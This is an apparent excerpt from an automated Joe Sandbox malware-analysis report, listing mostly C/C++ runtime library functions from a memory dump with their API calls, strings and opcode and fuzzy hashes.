Part of subcall function 000000018002C904: _invalid_parameter_noinfo.LIBCMT ref: 000000018002C921

Strings

ccs, xrefs: 0000000180024A55
UTF-16LEUNICODE, xrefs: 0000000180024AAD
UTF-8, xrefs: 0000000180024A8C

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: b739ebd1dbea8a727751e982e1da672fd6c2c611dd31e54917325a34b04a2351
Instruction ID: 80a84d4d098a3c4f464374f21da0e3f071d9a556a617ffa4cdd0dc69658f86ce
Opcode Fuzzy Hash: b739ebd1dbea8a727751e982e1da672fd6c2c611dd31e54917325a34b04a2351
Instruction Fuzzy Hash: 5E81BE3368428C89FBF78E2882543FD6B90931E7C8F56E005FA069F6D5CE658B4D9706

Function 0000000180013D18 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000000180013D88
_CallSETranslator.LIBVCRUNTIME ref: 0000000180013DD3

Strings

RCC, xrefs: 0000000180013DA4
MOC, xrefs: 0000000180013D9C

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: a8877bf5d0e4bad6069ff70bf3287a204e51d1862cde21206b67471e813b6863
Instruction ID: c736c1bb93584ae073ba0961740df383fd4714e77903ce01b1a31605c7818c5f
Opcode Fuzzy Hash: a8877bf5d0e4bad6069ff70bf3287a204e51d1862cde21206b67471e813b6863
Instruction Fuzzy Hash: 2D915E73604B888AE792DB65E8813DD7BA0F7487C8F14811AFE495BB55DF38C299CB00

Function 0000000180001B58 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 178COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 0000000180001D9B

Strings

ios_base::eofbit set, xrefs: 0000000180001D76
ios_base::failbit set, xrefs: 0000000180001D6F
ios_base::badbit set, xrefs: 0000000180001D63

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 16fe52f850bef8ed5e270e105fc610cef2d86c08c7f2c8be2c354118dca55619
Instruction ID: cd4883203d863c7c39e0db5225e3405b71a82b96ecb42569ab3962bb0b4856f9
Opcode Fuzzy Hash: 16fe52f850bef8ed5e270e105fc610cef2d86c08c7f2c8be2c354118dca55619
Instruction Fuzzy Hash: D4714C36604A48CAEBA2CB1AD0807E97761F788FD5F65C112EA5E477A4DF35CA4AC340

Function 000000018000901C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 0000000180009180

Strings

ios_base::eofbit set, xrefs: 000000018000915B
ios_base::failbit set, xrefs: 0000000180009154
ios_base::badbit set, xrefs: 0000000180009147

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: c6547c8cdb1939d3abec11c3b1841ed6733368eb2cef6ba46369ab6d2ade60fa
Instruction ID: f61552f5f331e396c0a83c9d1f5da47e63b06c29bd1c22d11c3c676521ce6c5e
Opcode Fuzzy Hash: c6547c8cdb1939d3abec11c3b1841ed6733368eb2cef6ba46369ab6d2ade60fa
Instruction Fuzzy Hash: 33717D32305A4886EBA6CF5AE4807D97760F788BD8F54C121EE5D47BA5DF39CA5AC300

Function 00000001800026E4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

ios_base::eofbit set, xrefs: 00000001800028EA
ios_base::failbit set, xrefs: 00000001800028E3
ios_base::badbit set, xrefs: 00000001800028D7

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-1866435925
Opcode ID: 187ecb3307b12a226db852eb9bffcc717b4bdc804262b8103927e5e34e8f6f4a
Instruction ID: 1528800ef260a51011fd75e31ca791da1bf86d8b63dc6a0af4851d87e0969327
Opcode Fuzzy Hash: 187ecb3307b12a226db852eb9bffcc717b4bdc804262b8103927e5e34e8f6f4a
Instruction Fuzzy Hash: 31618E36205A48C5EB96CB1AD1843AD77A1F788FD4F55C522EE5E477A1CF39CA4AC300

Function 0000000180013AFC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000000180013B48
_CallSETranslator.LIBVCRUNTIME ref: 0000000180013B97

Strings

RCC, xrefs: 0000000180013B65
MOC, xrefs: 0000000180013B5C

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 949eba60bfe1436def720ae9711f071dd7e126e8c028dd62d0ee54368417e9b9
Instruction ID: cc9ecc919c42db2e711bf199962303ced5b3878db019e83ba680d25fed8e0fb8
Opcode Fuzzy Hash: 949eba60bfe1436def720ae9711f071dd7e126e8c028dd62d0ee54368417e9b9
Instruction Fuzzy Hash: 24613632604B888AEB66CF65E4813DD7BA1F358BC8F148215EF4917B99DF38D299C740

Function 000000018001428C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000001800142B4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000000018001439C

Strings

csm, xrefs: 00000001800142D6
csm, xrefs: 00000001800143EE

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 24feafe34b7f4e4734d2cd1cdbc3c66b64a734135fe9cbc0eddb2a793dff242d
Instruction ID: 8def62964d0d07112c857a768adc3775481fba9ae0061bb8a7421994ddd90e1f
Opcode Fuzzy Hash: 24feafe34b7f4e4734d2cd1cdbc3c66b64a734135fe9cbc0eddb2a793dff242d
Instruction Fuzzy Hash: 0F517D73100A88CBEBB68B21D44439977A0F399BD8F14C116FA994BBE5CF38D659CB01

Function 0000000180002C6C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 0000000180002DF5

Strings

ios_base::eofbit set, xrefs: 0000000180002DD0
ios_base::failbit set, xrefs: 0000000180002DC9
ios_base::badbit set, xrefs: 0000000180002DBD

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 6052f277294c7325cdd6c39261fcd92b8aece3d07cacde5bff69007a24180924
Instruction ID: ffa874df69a8d59811b18f2cb072da1b932660b01cb399449c92e6180a12e4b1
Opcode Fuzzy Hash: 6052f277294c7325cdd6c39261fcd92b8aece3d07cacde5bff69007a24180924
Instruction Fuzzy Hash: DA41BE32211B8889EB82CF09E5857D973A5F788BC9F5AC132EA5D47361DF39C64AC340

Function 00000001800082AC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00000001800083D0

Strings

ios_base::eofbit set, xrefs: 00000001800083AB
ios_base::failbit set, xrefs: 00000001800083A4
ios_base::badbit set, xrefs: 0000000180008398

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 1483f0d0e5597ee3d3bc5e42a03c8c570f37f667cbdbbaab889e759735f770c6
Instruction ID: 553f9d1b79fdb5cbf0ff6a4ea715b73a3b72cf907ec530c739d1fdb140e01e09
Opcode Fuzzy Hash: 1483f0d0e5597ee3d3bc5e42a03c8c570f37f667cbdbbaab889e759735f770c6
Instruction Fuzzy Hash: A631A172214A4885EBA2CB15D4917ED73A1FB88FC9F98C111EA8D47A65DF39CB49C700

Function 0000000180028B20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0000000180028B39
FreeEnvironmentStringsW.KERNEL32 ref: 0000000180028BAB

Part of subcall function 000000018002556C: HeapAlloc.KERNEL32 ref: 00000001800255AA

FreeEnvironmentStringsW.KERNEL32 ref: 0000000180028C0A

Part of subcall function 0000000180020390: HeapFree.KERNEL32 ref: 00000001800203A6
Part of subcall function 0000000180020390: GetLastError.KERNEL32 ref: 00000001800203B0

Strings

COMSPEC, xrefs: 0000000180028B33

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: EnvironmentFreeStrings$Heap$AllocErrorLast
String ID: COMSPEC
API String ID: 3331406755-1631433037
Opcode ID: dd5757db43c420fd11c96a8b61c1df2c204f1df254f1a492a9bedeb1b5799a46
Instruction ID: 8d6182c0384a00fecd6fa28c1d844ba01a0e5b54fd335280352febb954ad993f
Opcode Fuzzy Hash: dd5757db43c420fd11c96a8b61c1df2c204f1df254f1a492a9bedeb1b5799a46
Instruction Fuzzy Hash: 3C31C53120575885EBA79F2668413DEB7A4FB8CBD4F48C129FA9A43BC5DF38C6458300

Function 00000001800088B4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 0000000180008957

Strings

ios_base::eofbit set, xrefs: 0000000180008932
ios_base::failbit set, xrefs: 000000018000892B
ios_base::badbit set, xrefs: 0000000180008920

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 2a1609f4c14b0c136541bea646c8ed68dded474e54e32797f09511123f259526
Instruction ID: 861d3b77da0b2b32dc126a77598123f5272a54c856d743d1733f0fd017d39a8a
Opcode Fuzzy Hash: 2a1609f4c14b0c136541bea646c8ed68dded474e54e32797f09511123f259526
Instruction Fuzzy Hash: 3A11933221064D96FB96EB11E5413DA73A0FB587C8F888015F78947A95DF38D2A9C701

Function 0000000180005CAC Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 0000000180005D36

Strings

ios_base::eofbit set, xrefs: 0000000180005D11
ios_base::failbit set, xrefs: 0000000180005D0A
ios_base::badbit set, xrefs: 0000000180005CFF

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: af54d455a0a5f7eaa8b1cb1a772185de0ab4e001b871b1f9c37b12cf524af2a3
Instruction ID: eff87254843dd9c6f00d8dff07c864234719fcaf6c66f6ad46ff64576f43087d
Opcode Fuzzy Hash: af54d455a0a5f7eaa8b1cb1a772185de0ab4e001b871b1f9c37b12cf524af2a3
Instruction Fuzzy Hash: E111C472210A0C89EF96CB18C4813D97361F748BD9F548512EE9E876A4DF38CB4AC340

Function 0000000180007518 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 000000018000759B

Strings

ios_base::eofbit set, xrefs: 0000000180007576
ios_base::failbit set, xrefs: 000000018000756F
ios_base::badbit set, xrefs: 0000000180007563

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 9ade0c42704697c465d9ea59b767c1e10a1e5861e28d3d181a600163cc02292a
Instruction ID: ee344a89a6d366079b0237149d86ae6f2483ad1a2cdeae8bee14aec7460c9589
Opcode Fuzzy Hash: 9ade0c42704697c465d9ea59b767c1e10a1e5861e28d3d181a600163cc02292a
Instruction Fuzzy Hash: 02016172B1190C46EF9AD715D8623E92320F758BC6F898416E64E47696DF6CC249C300

Function 0000000180007428 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 29COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 000000018000747C

Strings

ios_base::eofbit set, xrefs: 0000000180007457
ios_base::failbit set, xrefs: 0000000180007450
ios_base::badbit set, xrefs: 0000000180007444

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2264918676-1866435925
Opcode ID: 046f3e442affa3144d8814327d0acf6b750df78a92ebb724f4cffc6ed004799c
Instruction ID: 0fbc0c36cb7cee4bf38b0d6db9d5b3b87bd3bef84cd284e63da7b638a8121b1b
Opcode Fuzzy Hash: 046f3e442affa3144d8814327d0acf6b750df78a92ebb724f4cffc6ed004799c
Instruction Fuzzy Hash: 46F0CD72A1190CA9EA92D700E4923DA2321F7A83C4FC8C012B64D076A6EF2CC74EC741

Function 0000000180021848 Relevance: 6.3, APIs: 4, Instructions: 305fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000001800218CF
WriteFile.KERNEL32 ref: 0000000180021B96
WriteFile.KERNEL32 ref: 0000000180021BDF
GetLastError.KERNEL32 ref: 0000000180021CA0

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: bc5653116b66ff5ce1a01aad2c0c5e47b9cb5d0ce7c6b2c8de21f10310bed07c
Instruction ID: eb648fbc8301a7662f21a79842005968ebf4d6908eac293b07af179ab9618b06
Opcode Fuzzy Hash: bc5653116b66ff5ce1a01aad2c0c5e47b9cb5d0ce7c6b2c8de21f10310bed07c
Instruction Fuzzy Hash: 83D1AA32B04A888AE793CF79E4403DC37B1E759BD9F148212EE5997B99DE34C64AC740

Function 0000000180022224 Relevance: 6.2, APIs: 4, Instructions: 218COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000000180022347
GetLastError.KERNEL32 ref: 00000001800223D1

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 4d73d6813b56a2dc7752c7ceea4df9d00f87906dfa32c6e6a0e08043a835bd66
Instruction ID: 371f0744e8b77a04521c2075c780a02dc2cd061dbaba1a9c0a0a0efcc394c5a4
Opcode Fuzzy Hash: 4d73d6813b56a2dc7752c7ceea4df9d00f87906dfa32c6e6a0e08043a835bd66
Instruction Fuzzy Hash: 1291C272710A58A9FB93DBA5A4847ED27A0F34CBD8F448106FE1A57A95CF34C68AC710

Function 000000018002D028 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018002D069
_invalid_parameter_noinfo.LIBCMT ref: 000000018002D0E9
_invalid_parameter_noinfo.LIBCMT ref: 000000018002D13D
_get_daylight.LIBCMT ref: 000000018002D195

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 1575dfa55e85cd9e65b028130c7e3fe67857dc51b1bfb061f51b9401c4ef2222
Instruction ID: cb74ac6465134be6521e7c1865078a54590a4d88dac67272f0bbca9d60b1cbe9
Opcode Fuzzy Hash: 1575dfa55e85cd9e65b028130c7e3fe67857dc51b1bfb061f51b9401c4ef2222
Instruction Fuzzy Hash: BA51FF3260464C92F7FB5A2899053EA6790E34C794F19C02BFA0547AE6CEB8CF58C342

Function 00000001800144C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000001800144EE

Strings

csm, xrefs: 0000000180014682
csm, xrefs: 0000000180014513

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: daf33ebf70fac00cd51946a5845d4bb8b15e34f52b79b69f7a048caa6e5e73f2
Instruction ID: b0cefe1ccb1630ed2818d411a412925ef1adc199ee0d369432af14a5c12a6445
Opcode Fuzzy Hash: daf33ebf70fac00cd51946a5845d4bb8b15e34f52b79b69f7a048caa6e5e73f2
Instruction Fuzzy Hash: 1671A273105AC4C6DBA28F25E0507ADBBA1F349BD9F14C115FA884BB99CF38C699C701

Function 0000000180014B58 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000000180014C02
_CreateFrameInfo.LIBVCRUNTIME ref: 0000000180014C2E

Strings

csm, xrefs: 0000000180014D2E

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 832b8a7e18f91d038939eb56d0b98e7c8df3d74096dc22160cb54cc61af829fc
Instruction ID: 0c3a864f7ac2bccdb0798f13c2bdfd845ad7f9387c1f39ad3e97f6ae7e3ce330
Opcode Fuzzy Hash: 832b8a7e18f91d038939eb56d0b98e7c8df3d74096dc22160cb54cc61af829fc
Instruction Fuzzy Hash: 7F511777215B4886E7A1AB26E44039E77A4F388BE1F148215EB890BB95DF38C565CB40

Function 0000000180021EF4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000018002200B
GetLastError.KERNEL32 ref: 000000018002202D

Strings

U, xrefs: 0000000180021FB7

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 804990de3a596e42ffc9c94123fb8a2941867c91bfdac02688906d2080c89bb6
Instruction ID: fc3bd1c6fdb1bc1e6fc11558a99dd9ff81473f8586d02bbccffa04c43881791f
Opcode Fuzzy Hash: 804990de3a596e42ffc9c94123fb8a2941867c91bfdac02688906d2080c89bb6
Instruction Fuzzy Hash: 4341AD72314A8896EBA29F65E4443EA67A0F79C7D4F418122FE4D87798DF38C649CB40

Function 000000018000339C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000000180003430
__std_exception_copy.LIBVCRUNTIME ref: 00000001800034D0

Strings

ios_base::failbit set, xrefs: 000000018000339E

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: __std_exception_copy
String ID: ios_base::failbit set
API String ID: 592178966-3924258884
Opcode ID: 1adf97d368a9e1eaca2f45c68a279e6a390c49f26f808adde1a9b7a1ef994268
Instruction ID: 5c4a858921b8105bfa3d16116ec334abc67fd5708029537132ece9c0ffd2f25a
Opcode Fuzzy Hash: 1adf97d368a9e1eaca2f45c68a279e6a390c49f26f808adde1a9b7a1ef994268
Instruction Fuzzy Hash: 92416B72A00B4888EB428B65D8813EC3375E75DBD8F54C222EE5C1A695EF78D2D8C340

Function 00000001800113A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00000001800113E4
RaiseException.KERNEL32 ref: 000000018001142A

Strings

csm, xrefs: 0000000180011417

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 5ab760f4b8642cb22ab3ad06f967efcbb32453ea5721cc2fc6fb6f82203d7441
Instruction ID: 729e5110003d2cd851bab667c3b845576cebdbea50ce3f037de003a935eff5a6
Opcode Fuzzy Hash: 5ab760f4b8642cb22ab3ad06f967efcbb32453ea5721cc2fc6fb6f82203d7441
Instruction Fuzzy Hash: 03112B36214B4886EB568F15F44039A77A1F78CBC5F588225EE8C07B58DF38C6568B00

Function 0000000180003324 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018000333B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000000018000337A

Part of subcall function 000000018000EA14: _Yarn.LIBCPMT ref: 000000018000EA42

Strings

bad locale name, xrefs: 000000018000338E

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: 8eac1968ee0be17b5f912b2346201a8a557ab973e214a5d3253b652d70e68ed0
Instruction ID: 3d425af4a9c7b5c8793bbaa9f00958bb0e83af226d822cadf0bb223c79b2c5ac
Opcode Fuzzy Hash: 8eac1968ee0be17b5f912b2346201a8a557ab973e214a5d3253b652d70e68ed0
Instruction Fuzzy Hash: 89018F32101BC48AC396DF75A88039977A5F71DB84F189128AA8C8370AEF34C694C340

Analysis Process: uc_ctrl.exePID: 5960, Parent PID: 6052COMMON

Executed Functions

Function 6CEF19CE Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6CEEB8C3,?,00000003,?,00000004), ref: 6CEF19E0
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 6CEF19F0
EncodePointer.KERNEL32(00000000,?,6CEEB8C3,?,00000003,?,00000004), ref: 6CEF19F9
DecodePointer.KERNEL32(7F1E7634,?,?,6CEEB8C3,?,00000003,?,00000004), ref: 6CEF1A07
GetLocaleInfoEx.KERNEL32(00000004,?,00000003,?,?,6CEEB8C3,?,00000003,?,00000004), ref: 6CEF1A26
GetLocaleInfoW.KERNEL32(00000000,?,00000003,?,?,6CEEB8C3,?,00000003,?,00000004), ref: 6CEF1A3D

Strings

kernel32.dll, xrefs: 6CEF19DB
GetLocaleInfoEx, xrefs: 6CEF19EA

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
